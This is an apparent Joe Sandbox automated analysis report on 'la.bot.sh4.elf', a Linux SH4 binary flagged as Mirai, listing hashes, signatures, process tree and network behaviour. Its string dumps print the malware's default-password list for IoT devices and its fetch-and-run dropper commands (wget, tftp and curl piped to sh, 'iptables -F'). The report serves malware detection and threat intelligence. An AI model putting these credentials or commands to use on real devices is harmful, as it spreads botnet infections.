Joe Sandbox Cloud Basic Analysis Report

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Linux Analysis Report
la.bot.sh4.elf

Overview

General Information

Sample name:la.bot.sh4.elf
Analysis ID:1585720
MD5:615dd528232d6bdd61f875af07608d90
SHA1:8d66d3ce7740641e748cdc5c7943c62b894a7ff6
SHA256:5c9e6f5a7c2820fedf5db7f10ab6c9752100ad7463a762a138b8e3b332570ba2
Tags:elfuser-abuse_ch
Infos:

Detection

Mirai
Score:56
Range:0 - 100
Whitelisted:false

Signatures

Multi AV Scanner detection for submitted file
Yara detected Mirai
Executes the "rm" command used to delete files or directories
Found strings indicative of a multi-platform dropper
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Sample listens on a socket
Uses the "uname" system call to query kernel version information (possible evasion)

Classification

General Information

Joe Sandbox version:41.0.0 Charoite
Analysis ID:1585720
Start date and time:2025-01-08 05:32:07 +01:00
Joe Sandbox product:CloudBasic
Overall analysis duration:0h 4m 13s
Hypervisor based Inspection enabled:false
Report type:full
Cookbook file name:defaultlinuxfilecookbook.jbs
Analysis system description:Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:default
Sample name:la.bot.sh4.elf
Detection:MAL
Classification:mal56.troj.linELF@0/0@2/0

Runtime Messages

Command:/tmp/la.bot.sh4.elf
PID:5425
Exit Code:139
Exit Code Info:SIGSEGV (11) Segmentation fault invalid memory reference
Killed:False
Standard Output:

Standard Error:qemu: uncaught target signal 11 (Segmentation fault) - core dumped

Process Tree

  • system is lnxubuntu20
  • dash New Fork (PID: 5410, Parent: 3601)
  • rm (PID: 5410, Parent: 3601, MD5: aa2b5496fdbfd88e38791ab81f90b95b) Arguments: rm -f /tmp/tmp.qyBTSQPeeo /tmp/tmp.beCINPIIWh /tmp/tmp.8KOfgtmla8
  • dash New Fork (PID: 5411, Parent: 3601)
  • rm (PID: 5411, Parent: 3601, MD5: aa2b5496fdbfd88e38791ab81f90b95b) Arguments: rm -f /tmp/tmp.qyBTSQPeeo /tmp/tmp.beCINPIIWh /tmp/tmp.8KOfgtmla8
  • la.bot.sh4.elf (PID: 5425, Parent: 5346, MD5: 8943e5f8f8c280467b4472c15ae93ba9) Arguments: /tmp/la.bot.sh4.elf
  • cleanup

Malware Threat Intel

Provided by

NameDescriptionAttributionBlogpost URLsLink
MiraiMirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.No Attributionhttps://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Yara Signatures

Initial Sample

SourceRuleDescriptionAuthorStrings
la.bot.sh4.elfJoeSecurity_Mirai_8Yara detected MiraiJoe Security

    Memory Dumps

    SourceRuleDescriptionAuthorStrings
    5425.1.00007f4b94400000.00007f4b94415000.r-x.sdmpJoeSecurity_Mirai_8Yara detected MiraiJoe Security

      Suricata Signatures

      ⊘No Suricata rule has matched

      Joe Sandbox Signatures

      Click to jump to signature section

      Show All Signature Results

      AV Detection

      barindex
      Multi AV Scanner detection for submitted file
      Source: la.bot.sh4.elfVirustotal: Detection: 31%Perma Link
      Source: la.bot.sh4.elfReversingLabs: Detection: 34%
      Source: la.bot.sh4.elfString: rootPon521Zte521root621vizxvoelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinsystemzlxx.admin7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_ja12345t0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantech1234dreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123telnetipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestftpusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8lJwpbo6tluafedbinvstarcam201520150602supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenableshellshlinuxshellping ;sh/bin/busybox hostname FICORAiptables -F/bin/busybox echo > .ri && sh .ri && cd /bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrep.echowEek/var//var/run//var/tmp//dev//dev/shm//etc//mnt//boot//home/armarm5arm6arm7mipsmpslppcspcsh4m68k
      Source: /tmp/la.bot.sh4.elf (PID: 5425)Socket: 127.0.0.1:43478Jump to behavior
      Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
      Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
      Source: global trafficDNS traffic detected: DNS query: daisy.ubuntu.com
      Source: la.bot.sh4.elfString found in binary or memory: http:///curl.sh
      Source: la.bot.sh4.elfString found in binary or memory: http:///wget.sh
      Source: Initial sampleString containing 'busybox' found: usage: busybox
      Source: Initial sampleString containing 'busybox' found: /bin/busybox echo -ne
      Source: Initial sampleString containing 'busybox' found: /bin/busybox
      Source: Initial sampleString containing 'busybox' found: /bin/busybox hostname FICORA
      Source: Initial sampleString containing 'busybox' found: /bin/busybox echo >
      Source: Initial sampleString containing 'busybox' found: /bin/busybox wget http://
      Source: Initial sampleString containing 'busybox' found: /wget.sh -O- | sh;/bin/busybox tftp -g
      Source: Initial sampleString containing 'busybox' found: -r tftp.sh -l- | sh;/bin/busybox ftpget
      Source: Initial sampleString containing 'busybox' found: /bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrep.echo
      Source: Initial sampleString containing 'busybox' found: 191.235.89.0191.234.196.0191.235.53.0134.0.0.035.195.135.035.195.136.035.195.137.035.195.138.035.195.14.035.195.140.035.195.142.035.195.144.035.195.145.035.195.147.035.195.148.035.195.149.035.195.15.035.195.152.035.195.153.035.195.154.035.195.157.035.195.158.035.195.160.035.195.161.035.195.162.035.195.163.035.195.164.035.195.165.035.195.166.035.195.169.035.195.170.035.195.171.035.195.172.035.195.173.035.195.174.035.195.175.035.195.179.035.195.18.035.195.180.035.195.181.035.195.182.035.195.183.035.195.185.035.195.187.035.195.188.035.195.189.035.195.19.035.195.190.035.195.192.035.195.195.035.195.198.035.195.199.035.195.202.035.195.203.035.195.204.035.195.207.035.195.208.035.195.210.035.195.212.035.195.213.035.195.214.035.195.217.035.195.219.035.195.22.035.195.220.035.195.221.035.195.222.035.195.223.035.195.227.035.195.228.035.195.229.035.195.23.035.195.237.035.195.241.035.195.242.035.195.244.035.195.245.035.195.249.035.195.251.035.195.253.035.195.254.035.195.26.035.195.28.035.195.29.035.195.3.035.195.31.035.195
      Source: Initial sampleString containing 'busybox' found: /bin/busybox echo -ne >> > upnp
      Source: Initial sampleString containing 'busybox' found: rootPon521Zte521root621vizxvoelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinsystemzlxx.admin7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_ja12345t0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantech1234dreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123telnetipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestftpusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8lJwpbo6tluafedbinvstarcam201520150602supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenableshellshlinuxshellping ;sh/bin/busybox hostname FICORAiptables -F/bin/busybox echo > .ri && sh .ri && cd /bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrep.echowEek/var//var/run
      Source: ELF static info symbol of initial sample.symtab present: no
      Source: classification engineClassification label: mal56.troj.linELF@0/0@2/0
      Source: /usr/bin/dash (PID: 5410)Rm executable: /usr/bin/rm -> rm -f /tmp/tmp.qyBTSQPeeo /tmp/tmp.beCINPIIWh /tmp/tmp.8KOfgtmla8Jump to behavior
      Source: /usr/bin/dash (PID: 5411)Rm executable: /usr/bin/rm -> rm -f /tmp/tmp.qyBTSQPeeo /tmp/tmp.beCINPIIWh /tmp/tmp.8KOfgtmla8Jump to behavior
      Source: /tmp/la.bot.sh4.elf (PID: 5425)Queries kernel information via 'uname': Jump to behavior
      Source: la.bot.sh4.elf, 5425.1.00007fff02a99000.00007fff02aba000.rw-.sdmpBinary or memory string: /usr/bin/qemu-sh4
      Source: la.bot.sh4.elf, 5425.1.0000557c392de000.0000557c39341000.rw-.sdmpBinary or memory string: /etc/qemu-binfmt/sh4
      Source: la.bot.sh4.elf, 5425.1.0000557c392de000.0000557c39341000.rw-.sdmpBinary or memory string: .9|U5!/etc/qemu-binfmt/sh4
      Source: la.bot.sh4.elf, 5425.1.00007fff02a99000.00007fff02aba000.rw-.sdmpBinary or memory string: qemu: uncaught target signal 11 (Segmentation fault) - core dumped
      Source: la.bot.sh4.elf, 5425.1.00007fff02a99000.00007fff02aba000.rw-.sdmpBinary or memory string: x86_64/usr/bin/qemu-sh4/tmp/la.bot.sh4.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/la.bot.sh4.elf

      Stealing of Sensitive Information

      barindex
      Yara detected Mirai
      Source: Yara matchFile source: la.bot.sh4.elf, type: SAMPLE
      Source: Yara matchFile source: 5425.1.00007f4b94400000.00007f4b94415000.r-x.sdmp, type: MEMORY

      Remote Access Functionality

      barindex
      Yara detected Mirai
      Source: Yara matchFile source: la.bot.sh4.elf, type: SAMPLE
      Source: Yara matchFile source: 5425.1.00007f4b94400000.00007f4b94415000.r-x.sdmp, type: MEMORY

      Mitre Att&ck Matrix

      ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
      Gather Victim Identity Information1
      Scripting      		Valid AccountsWindows Management Instrumentation1
      Scripting      		Path Interception1
      File Deletion      		OS Credential Dumping11
      Security Software Discovery      		Remote ServicesData from Local System1
      Non-Application Layer Protocol      		Exfiltration Over Other Network MediumAbuse Accessibility Features
      CredentialsDomainsDefault AccountsScheduled Task/JobBoot or Logon Initialization ScriptsBoot or Logon Initialization ScriptsRootkitLSASS MemoryApplication Window DiscoveryRemote Desktop ProtocolData from Removable Media1
      Application Layer Protocol      		Exfiltration Over BluetoothNetwork Denial of Service

      Malware Configuration

      ⊘No configs have been found

      Behavior Graph

      Hide Legend

      Legend:

      • Process
      • Signature
      • Created File
      • DNS/IP Info
      • Is Dropped
      • Number of created Files
      • Is malicious
      • Internet
      behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1585720 Sample: la.bot.sh4.elf Startdate: 08/01/2025 Architecture: LINUX Score: 56 10 daisy.ubuntu.com 2->10 12 Multi AV Scanner detection for submitted file 2->12 14 Yara detected Mirai 2->14 6 dash rm la.bot.sh4.elf 2->6         started        8 dash rm 2->8         started        signatures3 process4

      Screenshots

      Thumbnails

      This section contains all screenshots as thumbnails, including those not shown in the slideshow.


      windows-stand

      Antivirus, Machine Learning and Genetic Malware Detection

      Initial Sample

      SourceDetectionScannerLabelLink
      la.bot.sh4.elf32%VirustotalBrowse
      la.bot.sh4.elf34%ReversingLabsLinux.Backdoor.Gafgyt

      Dropped Files

      ⊘No Antivirus matches

      Domains

      ⊘No Antivirus matches

      URLs

      ⊘No Antivirus matches

      Domains and IPs

      Contacted Domains

      NameIPActiveMaliciousAntivirus DetectionReputation
      daisy.ubuntu.com
      		162.213.35.25
      		truefalse
        		high

        URLs from Memory and Binaries

        NameSourceMaliciousAntivirus DetectionReputation
        http:///wget.shla.bot.sh4.elffalse
          		high
          http:///curl.shla.bot.sh4.elffalse
            		high

            World Map of Contacted IPs

            ⊘No contacted IP infos

            Joe Sandbox View / Context

            IPs

            ⊘No context

            Domains

            MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
            daisy.ubuntu.commips.elfGet hashmaliciousMiraiBrowse
            • 162.213.35.24
            boatnet.mpsl.elfGet hashmaliciousMiraiBrowse
            • 162.213.35.25
            boatnet.arm.elfGet hashmaliciousMiraiBrowse
            • 162.213.35.24
            boatnet.ppc.elfGet hashmaliciousMiraiBrowse
            • 162.213.35.25
            boatnet.m68k.elfGet hashmaliciousMiraiBrowse
            • 162.213.35.25
            boatnet.arm7.elfGet hashmaliciousMiraiBrowse
            • 162.213.35.24
            boatnet.x86.elfGet hashmaliciousMiraiBrowse
            • 162.213.35.25
            boatnet.arm6.elfGet hashmaliciousMiraiBrowse
            • 162.213.35.25
            bin.sh.elfGet hashmaliciousMiraiBrowse
            • 162.213.35.24
            i686.elfGet hashmaliciousMiraiBrowse
            • 162.213.35.25

            ASNs

            ⊘No context

            JA3 Fingerprints

            ⊘No context

            Dropped Files

            ⊘No context

            Created / dropped Files

            ⊘No created / dropped files found

            Static File Info

            General

            File type:ELF 32-bit LSB executable, Renesas SH, version 1 (SYSV), statically linked, stripped
            Entropy (8bit):6.95664599540343
            TrID:
            • ELF Executable and Linkable format (generic) (4004/1) 100.00%
            File name:la.bot.sh4.elf
            File size:85'280 bytes
            MD5:615dd528232d6bdd61f875af07608d90
            SHA1:8d66d3ce7740641e748cdc5c7943c62b894a7ff6
            SHA256:5c9e6f5a7c2820fedf5db7f10ab6c9752100ad7463a762a138b8e3b332570ba2
            SHA512:ee4d6fac722704be25b20d2bca85c89d3b5908a5151088dcc73c04f5e3ea71db5c209a1e9ea6e761629b113a3c409f7f5d60a7dd4c518c91cbc558832b996889
            SSDEEP:1536:jWZvodseZEa3fz7L+UoK4sNqKu48v7vJu3IC+W9nab:iFeqefXL+UoKVtu1lu3Ionab
            TLSH:00839E23E8522E44DA44E5BAB0719B7E8B13F59186172FDF91A2D3789043DDCFC4A2B4
            File Content Preview:.ELF..............*.......@.4....K......4. ...(...............@...@.PG..PG..............TG..TGB.TGB......f..........Q.td............................././"O.n........#.*@........#.*@.....o&O.n...l..............................././.../.a"O.!...n...a.b("...q.

            Static ELF Info

            ELF header

            Class:ELF32
            Data:2's complement, little endian
            Version:1 (current)
            Machine:<unknown>
            Version Number:0x1
            Type:EXEC (Executable file)
            OS/ABI:UNIX - System V
            ABI Version:0
            Entry Point Address:0x4001a0
            Flags:0x9
            ELF Header Size:52
            Program Header Offset:52
            Program Header Size:32
            Number of Program Headers:3
            Section Header Offset:84880
            Section Header Size:40
            Number of Section Headers:10
            Header String Table Index:9

            Sections

            NameTypeAddressOffsetSizeEntSizeFlagsFlags DescriptionLinkInfoAlign
            NULL0x00x00x00x00x0000
            .initPROGBITS0x4000940x940x300x00x6AX004
            .textPROGBITS0x4000e00xe00x113200x00x6AX0032
            .finiPROGBITS0x4114000x114000x240x00x6AX004
            .rodataPROGBITS0x4114240x114240x332c0x00x2A004
            .ctorsPROGBITS0x4247540x147540x80x00x3WA004
            .dtorsPROGBITS0x42475c0x1475c0x80x00x3WA004
            .dataPROGBITS0x4247680x147680x3e80x00x3WA004
            .bssNOBITS0x424b500x14b500x62f40x00x3WA004
            .shstrtabSTRTAB0x00x14b500x3e0x00x0001

            Program Segments

            TypeOffsetVirtual AddressPhysical AddressFile SizeMemory SizeEntropyFlagsFlags DescriptionAlignProg InterpreterSection Mappings
            LOAD0x00x4000000x4000000x147500x147506.99570x5R E0x10000.init .text .fini .rodata
            LOAD0x147540x4247540x4247540x3fc0x66f03.16400x6RW 0x10000.ctors .dtors .data .bss
            GNU_STACK0x00x00x00x00x00.00000x7RWE0x4

            Network Behavior

            Network Port Distribution

            UDP Packets

            TimestampSource PortDest PortSource IPDest IP
            Jan 8, 2025 05:32:46.841660023 CET4657753192.168.2.131.1.1.1
            Jan 8, 2025 05:32:46.841705084 CET5582753192.168.2.131.1.1.1
            Jan 8, 2025 05:32:46.848829985 CET53558271.1.1.1192.168.2.13
            Jan 8, 2025 05:32:46.848948956 CET53465771.1.1.1192.168.2.13

            DNS Queries

            TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
            Jan 8, 2025 05:32:46.841660023 CET192.168.2.131.1.1.10x3276Standard query (0)daisy.ubuntu.comA (IP address)IN (0x0001)false
            Jan 8, 2025 05:32:46.841705084 CET192.168.2.131.1.1.10x2fa8Standard query (0)daisy.ubuntu.com28IN (0x0001)false

            DNS Answers

            TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
            Jan 8, 2025 05:32:46.848948956 CET1.1.1.1192.168.2.130x3276No error (0)daisy.ubuntu.com162.213.35.25A (IP address)IN (0x0001)false
            Jan 8, 2025 05:32:46.848948956 CET1.1.1.1192.168.2.130x3276No error (0)daisy.ubuntu.com162.213.35.24A (IP address)IN (0x0001)false

            System Behavior

            General

            Start time (UTC):04:32:35
            Start date (UTC):08/01/2025
            Path:/usr/bin/dash
            Arguments:-
            File size:129816 bytes
            MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

            Chronological Activities


            General

            Start time (UTC):04:32:35
            Start date (UTC):08/01/2025
            Path:/usr/bin/rm
            Arguments:rm -f /tmp/tmp.qyBTSQPeeo /tmp/tmp.beCINPIIWh /tmp/tmp.8KOfgtmla8
            File size:72056 bytes
            MD5 hash:aa2b5496fdbfd88e38791ab81f90b95b

            Chronological Activities


            General

            Start time (UTC):04:32:35
            Start date (UTC):08/01/2025
            Path:/usr/bin/dash
            Arguments:-
            File size:129816 bytes
            MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

            Chronological Activities


            General

            Start time (UTC):04:32:35
            Start date (UTC):08/01/2025
            Path:/usr/bin/rm
            Arguments:rm -f /tmp/tmp.qyBTSQPeeo /tmp/tmp.beCINPIIWh /tmp/tmp.8KOfgtmla8
            File size:72056 bytes
            MD5 hash:aa2b5496fdbfd88e38791ab81f90b95b

            Chronological Activities


            General

            Start time (UTC):04:32:43
            Start date (UTC):08/01/2025
            Path:/tmp/la.bot.sh4.elf
            Arguments:/tmp/la.bot.sh4.elf
            File size:4139976 bytes
            MD5 hash:8943e5f8f8c280467b4472c15ae93ba9

            Chronological Activities